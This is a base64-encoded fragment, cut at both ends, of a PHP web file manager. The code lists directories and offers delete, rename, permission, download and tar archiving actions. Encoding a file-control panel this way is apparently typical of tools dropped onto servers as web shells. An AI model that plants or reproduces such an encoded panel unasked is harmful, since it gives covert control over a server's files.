sbycpPz4sIDw/PSRhdXRoWydsb2dpbiddPz5cclxuXHRcdFx0PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIjw/PV9fKCdRdWl0Jyk/PlwiPlxyXG5cdFx0XHQ8XC9mb3JtPlxyXG5cdFx0PD9waHAgfSA/PlxyXG5cdFx0PFwvdGQ+XHJcblx0XHQ8dGQ+XHJcblx0XHQ8Pz1mbV9sYW5nX2Zvcm0oJGxhbmd1YWdlKT8+XHJcblx0XHQ8XC90ZD5cclxuXHRcdDx0cj5cclxuXHRcdDxcL3RhYmxlPlxyXG4gICAgPFwvdGQ+XHJcbjxcL3RyPlxyXG48XC90YWJsZT5cclxuPHRhYmxlIGNsYXNzPVwiYWxsXCIgYm9yZGVyPScwJyBjZWxsc3BhY2luZz0nMScgY2VsbHBhZGRpbmc9JzEnIGlkPVwiZm1fdGFibGVcIiB3aWR0aD1cIjEwMCVcIj5cclxuPHRoZWFkPlxyXG48dHI+IFxyXG4gICAgPHRoIHN0eWxlPVwid2hpdGUtc3BhY2U6bm93cmFwXCI+IDw/PV9fKCdGaWxlbmFtZScpPz4gPFwvdGg+XHJcbiAgICA8dGggc3R5bGU9XCJ3aGl0ZS1zcGFjZTpub3dyYXBcIj4gPD89X18oJ1NpemUnKT8+IDxcL3RoPlxyXG4gICAgPHRoIHN0eWxlPVwid2hpdGUtc3BhY2U6bm93cmFwXCI+IDw/PV9fKCdEYXRlJyk/PiA8XC90aD5cclxuICAgIDx0aCBzdHlsZT1cIndoaXRlLXNwYWNlOm5vd3JhcFwiPiA8Pz1fXygnUmlnaHRzJyk/PiA8XC90aD5cclxuICAgIDx0aCBjb2xzcGFuPVwiNFwiIHN0eWxlPVwid2hpdGUtc3BhY2U6bm93cmFwXCI+IDw/PV9fKCdNYW5hZ2UnKT8+IDxcL3RoPlxyXG48XC90cj5cclxuPFwvdGhlYWQ+XHJcbjx0Ym9keT5cclxuPD9waHBcclxuJGVsZW1lbnRzID0gZm1fc2Nhbl9kaXIoJHBhdGgsICcnLCAnYWxsJywgdHJ1ZSk7XHJcbiRkaXJzID0gYXJyYXkoKTtcclxuJGZpbGVzID0gYXJyYXkoKTtcclxuZm9yZWFjaCAoJGVsZW1lbnRzIGFzICRmaWxlKXtcclxuICAgIGlmKEBpc19kaXIoJHBhdGggLiAkZmlsZSkpe1xyXG4gICAgICAgICRkaXJzW10gPSAkZmlsZTtcclxuICAgIH0gZWxzZSB7XHJcbiAgICAgICAgJGZpbGVzW10gPSAkZmlsZTtcclxuICAgIH1cclxufVxyXG5uYXRzb3J0KCRkaXJzKTsgbmF0c29ydCgkZmlsZXMpO1xyXG4kZWxlbWVudHMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTtcclxuXHJcbmZvcmVhY2ggKCRlbGVtZW50cyBhcyAkZmlsZSl7XHJcbiAgICAkZmlsZW5hbWUgPSAkcGF0aCAuICRmaWxlO1xyXG4gICAgJGZpbGVkYXRhID0gQHN0YXQoJGZpbGVuYW1lKTtcclxuICAgIGlmKEBpc19kaXIoJGZpbGVuYW1lKSl7XHJcblx0XHQkZmlsZWRhdGFbN10gPSAnJztcclxuXHRcdGlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd19kaXJfc2l6ZSddKSYmIWZtX3Jvb3QoJGZpbGUpKSAkZmlsZWRhdGFbN10gPSBmbV9kaXJfc2l6ZSgkZmlsZW5hbWUpO1xyXG4gICAgICAgICRsaW5rID0gJzxhIGhyZWY9XCInLiR1cmxfaW5jLicmcGF0aD0nLiRwYXRoLiRmaWxlLidcIiB0aXRsZT1cIicuX18oJ1Nob3cnKS4nICcuJGZpbGUuJ1wiPjxzcGFuIGNsYXNzPVwiZm9sZGVyXCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PFwvc3Bhbj4gJy4kZmlsZS4nPFwvYT4nO1xyXG4gICAgICAgICRsb2FkbGluaz0gKGZtX3Jvb3QoJGZpbGUpfHwkcGhhcl9tYXliZSkgPyAnJyA6IGZtX2xpbmsoJ3ppcCcsJGZpbGVuYW1lLF9fKCdDb21wcmVzcycpLicmbmJzcDt6aXAnLF9fKCdBcmNoaXZpbmcnKS4nICcuICRmaWxlKTtcclxuXHRcdCRhcmxpbmsgID0gKGZtX3Jvb3QoJGZpbGUpfHwkcGhhcl9tYXliZSkgPyAnJyA6IGZtX2xpbmsoJ2d6JywkZmlsZW5hbWUsX18oJ0NvbXByZXNzJykuJyZuYnNwOy50YXIuZ3onLF9fKCdBcmNoaXZpbmcnKS4nICcuJGZpbGUpO1xyXG4gICAgICAgICRzdHlsZSA9ICdyb3cyJztcclxuXHRcdCBpZiAoIWZtX3Jvb3QoJGZpbGUpKSAkYWxlcnQgPSAnb25DbGljaz1cImlmKGNvbmZpcm0oXFwnJyAuIF9fKCdBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZGlyZWN0b3J5IChyZWN1cnNpdmVseSk/JykuJ1xcbiBcLycuICRmaWxlLiAnXFwnKSkgZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFxcJycgLiAkdXJsX2luYyAuICcmZGVsZXRlPScgLiAkZmlsZSAuICcmcGF0aD0nIC4gJHBhdGggIC4gJ1xcJ1wiJzsgZWxzZSAkYWxlcnQgPSAnJztcclxuICAgIH0gZWxzZSB7XHJcblx0XHQkbGluayA9IFxyXG5cdFx0XHQkZm1fY29uZmlnWydzaG93X2ltZyddJiZAZ2V0aW1hZ2VzaXplKCRmaWxlbmFtZSkgXHJcblx0XHRcdD8gJzxhIHRhcmdldD1cIl9ibGFua1wiIG9uY2xpY2s9XCJ2YXIgbGVmdG8gPSBzY3JlZW4uYXZhaWxXaWR0aFwvMi0zMjA7d2luZG93Lm9wZW4oXFwnJ1xyXG5cdFx0XHQuIGZtX2ltZ19saW5rKCRmaWxlbmFtZSlcclxuXHRcdFx0LidcXCcsXFwncG9wdXBcXCcsXFwnd2lkdGg9NjQwLGhlaWdodD00ODAsbGVmdD1cXCcgKyBsZWZ0byArIFxcJyxzY3JvbGxiYXJzPXllcyx0b29sYmFyPW5vLGxvY2F0aW9uPW5vLGRpcmVjdG9yaWVzPW5vLHN0YXR1cz1ub1xcJyk7cmV0dXJuIGZhbHNlO1wiIGhyZWY9XCInLmZtX2ltZ19saW5rKCRmaWxlbmFtZSkuJ1wiPjxzcGFuIGNsYXNzPVwiaW1nXCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PFwvc3Bhbj4gJy4kZmlsZS4nPFwvYT4nXHJcblx0XHRcdDogJzxhIGhyZWY9XCInIC4gJHVybF9pbmMgLiAnJmVkaXQ9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aC4gJ1wiIHRpdGxlPVwiJyAuIF9fKCdFZGl0JykgLiAnXCI+PHNwYW4gY2xhc3M9XCJmaWxlXCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PFwvc3Bhbj4gJy4kZmlsZS4nPFwvYT4nO1xyXG5cdFx0JGVfYXJyID0gZXhwbG9kZShcIi5cIiwgJGZpbGUpO1xyXG5cdFx0JGV4dCA9IGVuZCgkZV9hcnIpO1xyXG4gICAgICAgICRsb2FkbGluayA9ICBmbV9saW5rKCdkb3dubG9hZCcsJGZpbGVuYW1lLF9fKCdEb3dubG9hZCcpLF9fKCdEb3dubG9hZCcpLicgJy4gJGZpbGUpO1xyXG5cdFx0JGFybGluayA9IGluX2FycmF5KCRleHQsYXJyYXkoJ3ppcCcsJ2d6JywndGFyJykpIFxyXG5cdFx0PyAnJ1xyXG5cdFx0OiAoKGZtX3Jvb3QoJGZpbGUpfHwkcGhhcl9tYXliZSkgPyAnJyA6IGZtX2xpbmsoJ2d6ZmlsZScsJGZpbGVuYW1lLF9fKCdDb21wcmVzcycpLicmbmJzcDsudGFyLmd6JyxfXygnQXJjaGl2aW5nJykuJyAnLiAkZmlsZSkpO1xyXG4gICAgICAgICRzdHlsZSA9ICdyb3cxJztcclxuXHRcdCRhbGVydCA9ICdvbkNsaWNrPVwiaWYoY29uZmlybShcXCcnLiBfXygnRmlsZSBzZWxlY3RlZCcpLic6IFxcbicuICRmaWxlLiAnLiBcXG4nLl9fKCdBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZmlsZT8nKSAuICdcXCcpKSBkb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gXFwnJyAuICR1cmxfaW5jIC4gJyZkZWxldGU9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAgLiAnXFwnXCInO1xyXG4gICAgfVxyXG4gICAgJGRlbGV0ZWxpbmsgPSBmbV9yb290KCRmaWxlKSA/ICcnIDogJzxhIGhyZWY9XCIjXCIgdGl0bGU9XCInIC4gX18oJ0RlbGV0ZScpIC4gJyAnLiAkZmlsZSAuICdcIiAnIC4gJGFsZXJ0IC4gJz4nIC4gX18oJ0RlbGV0ZScpIC4gJzxcL2E+JztcclxuICAgICRyZW5hbWVsaW5rID0gZm1fcm9vdCgkZmlsZSkgPyAnJyA6ICc8YSBocmVmPVwiJyAuICR1cmxfaW5jIC4gJyZyZW5hbWU9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAuICdcIiB0aXRsZT1cIicgLiBfXygnUmVuYW1lJykgLicgJy4gJGZpbGUgLiAnXCI+JyAuIF9fKCdSZW5hbWUnKSAuICc8XC9hPic7XHJcbiAgICAkcmlnaHRzdGV4dCA9ICgkZmlsZT09Jy4nIHx8ICRmaWxlPT0nLi4nKSA/ICcnIDogJzxhIGhyZWY9XCInIC4gJHVybF9pbmMgLiAnJnJpZ2h0cz0nIC4gJGZpbGUgLiAnJnBhdGg9JyAuICRwYXRoIC4gJ1wiIHRpdGxlPVwiJyAuIF9fKCdSaWdodHMnKSAuJyAnLiAkZmlsZSAuICdcIj4nIC4gQGZtX3JpZ2h0c19zdHJpbmcoJGZpbGVuYW1lKSAuICc8XC9hPic7XHJcbj8+XHJcbjx0ciBjbGFzcz1cIjw/PSRzdHlsZT8+XCI+IFxyXG4gICAgPHRkPjw/PSRsaW5rPz48XC90ZD5cclxuICAgIDx0ZD48Pz0kZmlsZWRhdGFbN10/PjxcL3RkPlxyXG4gICAgPHRkIHN0eWxlPVwid2hpdGUtc3BhY2U6bm93cmFwXCI+PD89Z21kYXRlKFwiWS1tLWQgSDppOnNcIiwkZmlsZWRhdGFbOV0pPz48XC90ZD5cclxuICAgIDx0ZD48Pz0kcmlnaHRzdGV4dD8+PFwvdGQ+XHJcbiAgICA8dGQ+PD89JGRlbGV0ZWxpbms/PjxcL3RkPlxyXG4gICAgPHRkPjw/PSRyZW5hbWVsaW5rPz48XC90ZD5cclxuICAgIDx0ZD48Pz0kbG9hZGxpbms/PjxcL3RkPlxyXG4gICAgPHRkPjw/PSRhcmxpbms/PjxcL3RkPlxyXG48XC90cj5cclxuPD9waHBcclxuICAgIH1cclxufVxyXG4/PlxyXG48XC90Ym9keT5cclxuPFwvdGFibGU+XHJcbjxkaXYgY2xhc3M9XCJyb3czXCI+PD9waHBcclxuXHQkbXRpbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOyBcclxuXHQkdG90YWx0aW1lID0gJG10aW1lWzBdICsgJG10aW1lWzFdIC0gJHN0YXJ0dGltZTsgXHJcblx0ZWNobyBmbV9ob21lKCkuJyB8IHZlci4gJy4kZm1fdmVyc2lvbi4nIHwgPGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9EZW4xeHh4XC9GaWxlbWFuYWdlclwiPkdpdGh1YjxcL2E+ICB8IDxhIGhyZWY9XCInLmZtX3NpdGVfdXJsKCkuJ1wiPi48XC9hPic7XHJcblx0aWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X3BocF92ZXInXSkpIGVjaG8gJyB8IFBIUCAnLnBocHZlcnNpb24oKTtcclxuXHRpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfcGhwX2luaSddKSkgZWNobyAnIHwgJy5waHBfaW5pX2xvYWRlZF9maWxlKCk7XHJcblx0aWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X2d0J10pKSBlY2hvICcgfCAnLl9fKCdHZW5lcmF0aW9uIHRpbWUnKS4nOiAnLnJvdW5kKCR0b3RhbHRpbWUsMik7XHJcblx0aWYgKCFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfcHJveHknXSkpIGVjaG8gJyB8IDxhIGhyZWY9XCI/cHJveHk9dHJ1ZVwiPnByb3h5PFwvYT4nO1xyXG5cdGlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd19waHBpbmZvJ10pKSBlY2hvICcgfCA8YSBocmVmPVwiP3BocGluZm89dHJ1ZVwiPnBocGluZm88XC9hPic7XHJcblx0aWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X3hscyddKSYmIWVtcHR5KCRsaW5rKSkgZWNobyAnIHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6IHZvaWQoMClcIiBvbmNsaWNrPVwidmFyIG9iaiA9IG5ldyB0YWJsZTJFeGNlbCgpOyBvYmouQ3JlYXRlRXhjZWxTaGVldChcXCdmbV90YWJsZVxcJyxcXCdleHBvcnRcXCcpO1wiIHRpdGxlPVwiJy5fXygnRG93bmxvYWQnKS4nIHhsc1wiPnhsczxcL2E+JztcclxuXHRpZiAoIWVtcHR5KCRmbV9jb25maWdbJ2ZtX3NldHRpbmdzJ10pKSBlY2hvICcgfCA8YSBocmVmPVwiP2ZtX3NldHRpbmdzPXRydWVcIj4nLl9fKCdTZXR0aW5ncycpLic8XC9hPic7XHJcblx0Pz5cclxuPFwvZGl2PlxyXG48c2NyaXB0IHR5cGU9XCJ0ZXh0XC9qYXZhc2NyaXB0XCI+XHJcbmZ1bmN0aW9uIGRvd25sb2FkX3hscyhmaWxlbmFtZSwgdGV4dCkge1xyXG5cdHZhciBlbGVtZW50ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYScpO1xyXG5cdGVsZW1lbnQuc2V0QXR0cmlidXRlKCdocmVmJywgJ2RhdGE6YXBwbGljYXRpb25cL3ZuZC5tcy1leGNlbDtiYXNlNjQsJyArIHRleHQpO1xyXG5cdGVsZW1lbnQuc2V0QXR0cmlidXRlKCdkb3dubG9hZCcsIGZpbGVuYW1lKTtcclxuXHRlbGVtZW50LnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7XHJcblx0ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChlbGVtZW50KTtcclxuXHRlbGVtZW50LmNsaWNrKCk7XHJcblx0ZG9jdW1lbnQuYm9keS5yZW1vdmVDaGlsZChlbGVtZW50KTtcclxufVxyXG5cclxuZnVuY3Rpb24gYmFzZTY0X2VuY29kZShtKSB7XHJcblx0Zm9yICh2YXIgayA9IFwiQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrXC9cIi5zcGxpdChcIlwiKSwgYywgZCwgaCwgZSwgYSwgZyA9IFwiXCIsIGIgPSAwLCBmLCBsID0gMDsgbCA8IG0ubGVuZ3RoOyArK2wpIHtcclxuXHRcdGMgPSBtLmNoYXJDb2RlQXQobCk7XHJcblx0XHRpZiAoMTI4ID4gYykgZCA9IDE7XHJcblx0XHRlbHNlXHJcblx0XHRcdGZvciAoZCA9IDI7IGMgPj0gMiA8PCA1ICogZDspICsrZDtcclxuXHRcdGZvciAoaCA9IDA7IGggPCBkOyArK2gpIDEgPT0gZCA/IGUgPSBjIDogKGUgPSBoID8gMTI4IDogMTkyLCBhID0gZCAtIDIgLSA2ICogaCwgMCA8PSBhICYmIChlICs9ICg2IDw9IGEgPyAxIDogMCkgKyAoNSA8PSBhID8gMiA6IDApICsgKDQgPD0gYSA/IDQgOiAwKSArICgzIDw9IGEgPyA4IDogMCkgKyAoMiA8PSBhID8gMTYgOiAwKSArICgxIDw9IGEgPyAzMiA6IDApLCBhIC09IDUpLCAwID4gYSAmJiAodSA9IDYgKiAoZCAtIDEgLSBoKSwgZSArPSBjID4+IHUsIGMgLT0gYyA+PiB1IDw8IHUpKSwgZiA9IGIgPyBmIDw8IDYgLSBiIDogMCwgYiArPSAyLCBmICs9IGUgPj4gYiwgZyArPSBrW2ZdLCBmID0gZSAlICgxIDw8IGIpLCA2ID09IGIgJiYgKGIgPSAwLCBnICs9IGtbZl0pXHJcblx0fVxyXG5cdGIgJiYgKGcgKz0ga1tmIDw8IDYgLSBiXSk7XHJcblx0cmV0dXJuIGdcclxufVxyXG5cclxuXHJcbnZhciB0YWJsZVRvRXhjZWxEYXRhID0gKGZ1bmN0aW9uKCkge1xyXG4gICAgdmFyIHVyaSA9ICdkYXRhOmFwcGxpY2F0aW9uXC92bmQubXMtZXhjZWw7YmFzZTY0LCcsXHJcbiAgICB0ZW1wbGF0ZSA9ICc8aHRtbCB4bWxuczpvPVwidXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6b2ZmaWNlXCIgeG1sbnM6eD1cInVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206b2ZmaWNlOmV4Y2VsXCIgeG1sbnM9XCJodHRwOlwvXC93d3cudzMub3JnXC9UUlwvUkVDLWh0bWw0MFwiPjxoZWFkPjwhLS1baWYgZ3RlIG1zbyA5XT48eG1sPjx4OkV4Y2VsV29ya2Jvb2s+PHg6RXhjZWxXb3Jrc2hlZXRzPjx4OkV4Y2VsV29ya3NoZWV0Pjx4Ok5hbWU+e3dvcmtzaGVldH08XC94Ok5hbWU+PHg6V29ya3NoZWV0T3B0aW9ucz48eDpEaXNwbGF5R3JpZGxpbmVzPjxcL3g6RGlzcGxheUdyaWRsaW5lcz48XC94OldvcmtzaGVldE9wdGlvbnM+PFwveDpFeGNlbFdvcmtzaGVldD48XC94OkV4Y2VsV29ya3NoZWV0cz48XC94OkV4Y2VsV29ya2Jvb2s+PFwveG1sPjwhW2VuZGlmXS0tPjxtZXRhIGh0dHAtZXF1aXY9XCJjb250ZW50LXR5cGVcIiBjb250ZW50PVwidGV4dFwvcGxhaW47IGNoYXJzZXQ9VVRGLThcIlwvPjxcL2hlYWQ+PGJvZHk+PHRhYmxlPnt0YWJsZX08XC90YWJsZT48XC9ib2R5PjxcL2h0bWw+JyxcclxuICAgIGZvcm1hdCA9IGZ1bmN0aW9uKHMsIGMpIHtcclxuICAgICAgICAgICAgcmV0dXJuIHMucmVwbGFjZShcL3soXFx3Kyl9XC9nLCBmdW5jdGlvbihtLCBwKSB7XHJcbiAgICAgICAgICAgICAgICByZXR1cm4gY1twXTtcclxuICAgICAgICAgICAgfSlcclxuICAgICAgICB9XHJcbiAgICByZXR1cm4gZnVuY3Rpb24odGFibGUsIG5hbWUpIHtcclxuICAgICAgICBpZiAoIXRhYmxlLm5vZGVUeXBlKSB0YWJsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRhYmxlKVxyXG4gICAgICAgIHZhciBjdHggPSB7XHJcbiAgICAgICAgICAgIHdvcmtzaGVldDogbmFtZSB8fCAnV29ya3NoZWV0JyxcclxuICAgICAgICAgICAgdGFibGU6IHRhYmxlLmlubmVySFRNTC5yZXBsYWNlKFwvPHNwYW4oLio/KVxcXC9zcGFuPiBcL2csXCJcIikucmVwbGFjZShcLzxhXFxiW14+XSo+KC4qPyk8XFxcL2E+XC9nLFwiJDFcIilcclxuICAgICAgICB9XHJcblx0XHR0ID0gbmV3IERhdGUoKTtcclxuXHRcdGZpbGVuYW1lID0gJ2ZtXycgKyB0LnRvSVNPU3RyaW5nKCkgKyAnLnhscydcclxuXHRcdGRvd25sb2FkX3hscyhmaWxlbmFtZSwgYmFzZTY0X2VuY29kZShmb3JtYXQodGVtcGxhdGUsIGN0eCkpKVxyXG4gICAgfVxyXG59KSgpO1xyXG5cclxudmFyIHRhYmxlMkV4Y2VsID0gZnVuY3Rpb24gKCkge1xyXG5cclxuICAgIHZhciB1YSA9IHdpbmRvdy5uYXZpZ2F0b3IudXNlckFnZW50O1xyXG4gICAgdmFyIG1zaWUgPSB1YS5pbmRleE9mKFwiTVNJRSBcIik7XHJcblxyXG5cdHRoaXMuQ3JlYXRlRXhjZWxTaGVldCA9IFxyXG5cdFx0ZnVuY3Rpb24oZWwsIG5hbWUpe1xyXG5cdFx0XHRpZiAobXNpZSA+IDAgfHwgISFuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKFwvVHJpZGVudC4qcnZcXDoxMVxcLlwvKSkge1wvXC8gSWYgSW50ZXJuZXQgRXhwbG9yZXJcclxuXHJcblx0XHRcdFx0dmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChlbCkucm93cztcclxuXHJcblx0XHRcdFx0dmFyIHhscyA9IG5ldyBBY3RpdmVYT2JqZWN0KFwiRXhjZWwuQXBwbGljYXRpb25cIik7XHJcblxyXG5cdFx0XHRcdHhscy52aXNpYmxlID0gdHJ1ZTtcclxuXHRcdFx0XHR4bHMuV29ya2Jvb2tzLkFkZFxyXG5cdFx0XHRcdGZvciAoaSA9IDA7IGkgPCB4Lmxlbmd0aDsgaSsrKSB7XHJcblx0XHRcdFx0XHR2YXIgeSA9IHhbaV0uY2VsbHM7XHJcblxyXG5cdFx0XHRcdFx0Zm9yIChqID0gMDsgaiA8IHkubGVuZ3RoOyBqKyspIHtcclxuXHRcdFx0XHRcdFx0eGxzLkNlbGxzKGkgKyAxLCBqICsgMSkuVmFsdWUgPSB5W2pdLmlubmVyVGV4dDtcclxuXHRcdFx0XHRcdH1cclxuXHRcdFx0XHR9XHJcblx0XHRcdFx0eGxzLlZpc2libGUgPSB0cnVlO1xyXG5cdFx0XHRcdHhscy5Vc2VyQ29udHJvbCA9IHRydWU7XHJcblx0XHRcdFx0cmV0dXJuIHhscztcclxuXHRcdFx0fSBlbHNlIHtcclxuXHRcdFx0XHR0YWJsZVRvRXhjZWxEYXRhKGVsLCBuYW1lKTtcclxuXHRcdFx0fVxyXG5cdFx0fVxyXG59XHJcbjxcL3NjcmlwdD5cclxuPFwvYm9keT5cclxuPFwvaHRtbD5cclxuXHJcbjw/cGhwXHJcblwvXC9Qb3J0ZWQgZnJvbSBSZWxvYWRDTVMgcHJvamVjdCBodHRwOlwvXC9yZWxvYWRjbXMuY29tXHJcbmNsYXNzIGFyY2hpdmVUYXIge1xyXG5cdHZhciAkYXJjaGl2ZV9uYW1lID0gJyc7XHJcblx0dmFyICR0bXBfZmlsZSA9IDA7XHJcblx0dmFyICRmaWxlX3BvcyA9IDA7XHJcblx0dmFyICRpc0d6aXBwZWQgPSB0cnVlO1xyXG5cdHZhciAkZXJyb3JzID0gYXJyYXkoKTtcclxuXHR2YXIgJGZpbGVzID0gYXJyYXkoKTtcclxuXHRcclxuXHRmdW5jdGlvbiBfX2NvbnN0cnVjdCgpe1xyXG5cdFx0aWYgKCFpc3NldCgkdGhpcy0+ZXJyb3JzKSkgJHRoaXMtPmVycm9ycyA9IGFycmF5KCk7XHJcblx0fVxyXG5cdFxyXG5cdGZ1bmN0aW9uIGNyZWF0ZUFyY2hpdmUoJGZpbGVfbGlzdCl7XHJcblx0XHQkcmVzdWx0ID0gZmFsc2U7XHJcblx0XHRpZiAoZmlsZV9leGlzdHMoJHRoaXMtPmFyY2hpdmVfbmFtZSkgJiYgaXNfZmlsZSgkdGhpcy0+YXJjaGl2ZV9uYW1lKSkgXHQkbmV3QXJjaGl2ZSA9IGZhbHNlO1xyXG5cdFx0ZWxzZSAkbmV3QXJjaGl2ZSA9IHRydWU7XHJcblx0XHRpZiAoJG5ld0FyY2hpdmUpe1xyXG5cdFx0XHRpZiAoISR0aGlzLT5vcGVuV3JpdGUoKSkgcmV0dXJuIGZhbHNlO1xyXG5cdFx0fSBlbHNlIHtcclxuXHRcdFx0aWYgKGZpbGVzaXplKCR0aGlzLT5hcmNoaXZlX25hbWUpID09IDApXHRyZXR1cm4gJHRoaXMtPm9wZW5Xcml0ZSgpO1xyXG5cdFx0XHRpZiAoJHRoaXMtPmlzR3ppcHBlZCkge1xyXG5cdFx0XHRcdCR0aGlzLT5jbG9zZVRtcEZpbGUoKTtcclxuXHRcdFx0XHRpZiAoIXJlbmFtZSgkdGhpcy0+YXJjaGl2ZV9uYW1lLCAkdGhpcy0+YXJjaGl2ZV9uYW1lLicudG1wJykpe1xyXG5cdFx0XHRcdFx0JHRoaXMtPmVycm9yc1tdID0gX18oJ0Nhbm5vdCByZW5hbWUnKS4nICcuJHRoaXMtPmFyY2hpdmVfbmFtZS5fXygnIHRvICcpLiR0aGlzLT5hcmNoaXZlX25hbWUuJy50bXAnO1xyXG5cdFx0XHRcdFx0cmV0dXJuIGZhbHNlO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0XHQkdG1wQXJjaGl2ZSA9IGd6b3BlbigkdGhpcy0+YXJjaGl2ZV9uYW1lLicudG1wJywgJ3JiJyk7XHJcblx0XHRcdFx0aWYgKCEkdG1wQXJjaGl2ZSl7XHJcblx0XHRcdFx0XHQkdGhpcy0+ZXJyb3JzW10gPSAkdGhpcy0+YXJjaGl2ZV9uYW1lLicudG1wICcuX18oJ2lzIG5vdCByZWFkYWJsZScpO1xyXG5cdFx0XHRcdFx0cmVuYW1lKCR0aGlzLT5hcmNoaXZlX25hbWUuJy50bXAnLCAkdGhpcy0+YXJjaGl2ZV9uYW1lKTtcclxuXHRcdFx0XHRcdHJldHVybiBmYWxzZTtcclxuXHRcdFx0XHR9XHJcblx0XHRcdFx0aWYgKCEkdGhpcy0+b3BlbldyaXRlKCkpe1xyXG5cdFx0XHRcdFx0cmVuYW1lKCR0aGlzLT5hcmNoaXZlX25hbWUuJy50bXAnLCAkdGhpcy0+YXJjaGl2ZV9uYW1lKTtcclxuXHRcdFx0XHRcdHJldHVybiBmYWxzZTtcclxuXHRcdFx0XHR9XHJcblx0XHRcdFx0JGJ1ZmZlciA9IGd6cmVhZCgkdG1wQXJjaGl2ZSwgNTEyKTtcclxuXHRcdFx0XHRpZiAoIWd6ZW9mKCR0bXBBcmNoaXZlKSl7XHJcblx0XHRcdFx0XHRkbyB7XHJcblx0XHRcdFx0XHRcdCRiaW5hcnlEYXRhID0gcGFjaygnYTUxMicsICRidWZmZXIpO1xyXG5cdFx0XHRcdFx0XHQkdGhpcy0+d3JpdGVCbG9jaygkYmluYXJ5RGF0YSk7XHJcblx0XHRcdFx0XHRcdCRidWZmZXIgPSBnenJlYWQoJHRtcEFyY2hpdmUsIDUxMik7XHJcblx0XHRcdFx0XHR9XHJcblx0XHRcdFx0XHR3aGlsZSAoIWd6ZW9mKCR0bXBBcmNoaXZlKSk7XHJcblx0XHRcdFx0fVxyXG5cdFx0XHRcdGd6Y2xvc2UoJHRtcEFyY2hpdmUpO1xyXG5cdFx0XHRcdHVubGluaygkdGhpcy0+YXJjaGl2ZV9uYW1lLicudG1wJyk7XHJcblx0XHRcdH0gZWxzZSB7XHJcblx0XHRcdFx0JHRoaXMtPnRtcF9maWxlID0gZm9wZW4oJHRoaXMtPmFyY2hpdmVfbmFtZSwgJ3IrYicpO1xyXG5cdFx0XHRcdGlmICghJHRoaXMtPnRtcF9maWxlKVx0cmV0dXJuIGZhbHNlO1xyXG5cdFx0XHR9XHJcblx0XHR9XHJcblx0XHRpZiAoaXNzZXQoJGZpbGVfbGlzdCkgJiYgaXNfYXJyYXkoJGZpbGVfbGlzdCkpIHtcclxuXHRcdGlmIChjb3VudCgkZmlsZV9saXN0KT4wKVxyXG5cdFx0XHQkcmVzdWx0ID0gJHRoaXMtPnBhY2tGaWxlQXJyYXkoJGZpbGVfbGlzdCk7XHJcblx0XHR9IGVsc2UgJHRoaXMtPmVycm9yc1tdID0gX18oJ05vIGZpbGUnKS5fXygnIHRvICcpLl9fKCdBcmNoaXZlJyk7XHJcblx0XHRpZiAoKCRyZXN1bHQpJiYoaXNfcmVzb3VyY2UoJHRoaXMtPnRtcF9maWxlKSkpe1xyXG5cdFx0XHQkYmluYXJ5RGF0YSA9IHBhY2soJ2E1MTInLCAnJyk7XHJcblx0XHRcdCR0aGlzLT53cml0ZUJsb2NrKCRiaW5hcnlEYXRhKTtcclxuXHRcdH1cclxuXHRcdCR0aGlzLT5jbG9zZVRtcEZpbGUoKTtcclxuXHRcdGlmICgkbmV3QXJjaGl2ZSAmJiAhJHJlc3VsdCl7XHJcblx0XHQkdGhpcy0+Y2xvc2VUbXBGaWxlKCk7XHJcblx0XHR1bmxpbmsoJHRoaXMtPmFyY2hpdmVfbmFtZSk7XHJcblx0XHR9XHJcblx0XHRyZXR1cm4gJHJlc3VsdDtcclxuXHR9XHJcblxyXG5cdGZ1bmN0aW9uIHJlc3RvcmVBcmNoaXZlKCRwYXRoKXtcclxuXHRcdCRmaWxlTmFtZSA9ICR0aGlzLT5hcmNoaXZlX25hbWU7XHJcblx0XHRpZiAoISR0aGlzLT5pc0d6aXBwZWQpe1xyXG5cdFx0XHRpZiAoZmlsZV9leGlzdHMoJGZpbGVOYW1lKSl7XHJcblx0XHRcdFx0aWYgKCRmcCA9IGZvcGVuKCRmaWxlTmFtZSwgJ3JiJykpe1xyXG5cdFx0XHRcdFx0JGRhdGEgPSBmcmVhZCgkZnAsIDIpO1xyXG5cdFx0XHRcdFx0ZmNsb3NlKCRmcCk7XHJcblx0XHRcdFx0XHRpZiAoJGRhdGEgPT0gJ1xcMzdcXDIxMycpe1xyXG5cdFx0XHRcdFx0XHQkdGhpcy0+aXNHemlwcGVkID0gdHJ1ZTtcclxuXHRcdFx0XHRcdH1cclxuXHRcdFx0